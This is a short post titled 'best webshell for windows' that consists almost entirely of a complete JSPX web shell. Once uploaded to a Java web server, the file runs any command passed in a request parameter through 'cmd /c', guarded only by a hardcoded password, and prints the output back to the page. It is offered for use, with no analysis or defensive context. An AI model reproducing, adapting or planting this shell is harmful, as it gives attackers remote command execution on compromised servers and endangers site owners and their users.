best webshell for windows

wsh.jspx

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"  version="1.2"> 
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> 
<jsp:scriptlet> <![CDATA[
    if("zzQzzQ".equals(request.getParameter("pwd"))){ 
String tmp = request.getParameter("i");
try{
String[] cmd = {"cmd", "/c",tmp};
        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); 
        
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in,"GBK"));
				String brs = br.readLine();
out.println("kk:"+tmp+"<br>");

		while(brs!=null){
			out.println(brs+"</br>");
			brs = br.readLine();
		} 
}catch(Exception ex){
			out.println(ex.toString());
		}
} ]]>
</jsp:scriptlet> 
</jsp:root>